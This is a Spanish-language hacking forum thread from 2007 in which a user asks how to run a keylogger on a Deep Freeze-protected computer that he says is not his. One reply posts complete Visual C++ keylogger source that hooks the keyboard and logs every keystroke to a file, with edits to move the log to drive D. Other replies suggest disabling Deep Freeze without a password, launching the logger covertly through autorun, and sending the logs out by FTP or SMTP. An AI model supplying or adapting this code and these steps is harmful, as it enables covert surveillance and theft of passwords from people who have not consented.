elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 00:43  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Keylogger que guarde el log en la unidad d:
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger que guarde el log en la unidad d:  (Leído 2,262 veces)
lezh

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Keylogger que guarde el log en la unidad d:
« en: 15 Octubre 2007, 16:49 »

Hola soy nuevo en este fascinante foro, espero me puedan ayudar con una duda que por mas que busco en el google no encuentro la respuesta, asi es que  humildemente recurro a su ayuda.

resulta que  la makina donde quiero instalar el keylogger tiene instalado el deep frezer, que cuando se apaga o reinicia la maquina, todo  se borra.

habia pensado programar el keyloger para que envie el log mediante cuenta ftp o e-mail pero me resulta complicado.

por ahora quisiera saber si existe un keylogger que guarde el log en la unidad d:
ó bien que funcione en compatibilidad con el deep frezer para que no se borre todo lo tecleado.

agradezco de antemano por las respuestas.

Att. lezh
En línea
Homongus

Desconectado Desconectado

Mensajes: 77



Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #1 en: 15 Octubre 2007, 21:25 »

Lo mejor es eliminar al DeepFreeze.
En el foro hay una herremienta llamada "Fuck deepfreeze"  (en hacking básico, si mal no recuerdo)y ya con ella podrás instalar lo que desees.
En línea
lezh

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #2 en: 16 Octubre 2007, 00:21 »

gracias por la respueta Homongus , pero la makina no es mia asi es k no puedo eliminar ni desinstalar el deep freezer.

sera k  no existe un keylogger k guarde su log en el lugar donde se espesifique.
En línea
ska1ix

Desconectado Desconectado

Mensajes: 62


Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #3 en: 16 Octubre 2007, 09:29 »

gracias por la respueta Homongus , pero la makina no es mia asi es k no puedo eliminar ni desinstalar el deep freezer.

sera k  no existe un keylogger k guarde su log en el lugar donde se espesifique.

Lo más cómodo, como siempre, hacerlo tú mismo, aunque sea cambiando dos chorradas
Yo pillé el código fuente de una página que no encuentro, pero es igual que el que aparece aquí, en visual c++:

http://www.rohitab.com/discuss/index.php?showtopic=19360&st=0&p=164245&#entry164245

Código:
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.


#define _WIN32_WINNT 0x0400

#include <windows.h>
#include <winuser.h>
#include <stdio.h>

// Global Hook handle
HHOOK hKeyHook;



// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key

) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {

    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags.

        KBDLLHOOKSTRUCT hooked =
            *((KBDLLHOOKSTRUCT*)lParam);

   
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)


        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;


    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.

        char lpszName[0x100] = {0};
        lpszName[0] = '[';

        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;

        lpszName[i] = ']';


    //  Print this name to the standard console output device.

        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }


//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.

    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);

}



// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...

void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}


// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{

//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.

    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);

//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.

    if (!hExe) return 1;



    hKeyHook = SetWindowsHookEx (  // install the hook:

        WH_KEYBOARD_LL,            // as a low level keyboard hook
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
        hExe,                      // and the module handle to our own executable
        NULL                       // and finally, the hook should monitor all threads.
    );


//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.

    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}


// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.

int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;

    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread);

    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }
}

Cambiar el nombre del archivo por uno en d: es muy muy simple, sólo hay que cambiar "keys.log" por "d:\\keys.log" por ejemplo (recuerda que las barras deben ser dobles porque es el carácter de escape de C, creo que se llama así). o he hecho algún cambio más como guardar un archivo por cada día de la forma system12_10.log para que no se guarde todo en un solo archivo, pero vamos, funciona muy bien.

Lo que no veo e igual te da problemas es lo de las librerías y demás, si eso pregunta.

Cualquier duda, ya sabes, es que no sé qué nivel de conocimientos tienes.
« Última modificación: 16 Octubre 2007, 09:32 por ska1ix » En línea
demonice

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #4 en: 17 Octubre 2007, 02:40 »

por lo general las personas tienes dos unidades c: y d:
en c: le ponen el frezer el d: lo dejan intacto; podrias crear un auto-run q ejecute el keryloger cada vez q se acceda al la unidad es facil y te evitara la desactivacion del frezer

saludos...
En línea
lezh

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #5 en: 17 Octubre 2007, 23:38 »

gracias por las respuestas, la verdad soy nuevo en  esto, pero con todas las ganas de aprender, queria preguntarte  demonice no se si me prodrias dar algunos pasos para tener una idea de como hacer el autorun que mencionas.
En línea
иєø Thë ØØ7

Desconectado Desconectado

Mensajes: 175


o_o


Ver Perfil
Re: Keylogger que guarde el log en la unidad d:
« Respuesta #6 en: 18 Octubre 2007, 00:34 »

Mas fácil no es lo que dijo Homongus,  :-\ lo que hace el "Fuck deepfreeze" no es eliminar sino desactivar sin password creo que lo puede hasta la versión 6.3;pero hay que reiniciar dos veces para que no deje sospechas.claro una vez desact pones el keylogger debidamente config,digo mejor un keylog que te mande los logs vía ftp o smtp.

saludos.
En línea


"Tu inspiración sigue guiándonos hacia la liberacion personal", Bruce Lee.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
La UE estudia introducir un sistema en los ordenadores que guarde de toda la ...
Noticias
wolfbcn 2 504 Último mensaje 22 Octubre 2011, 02:38
por survivor_evil
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines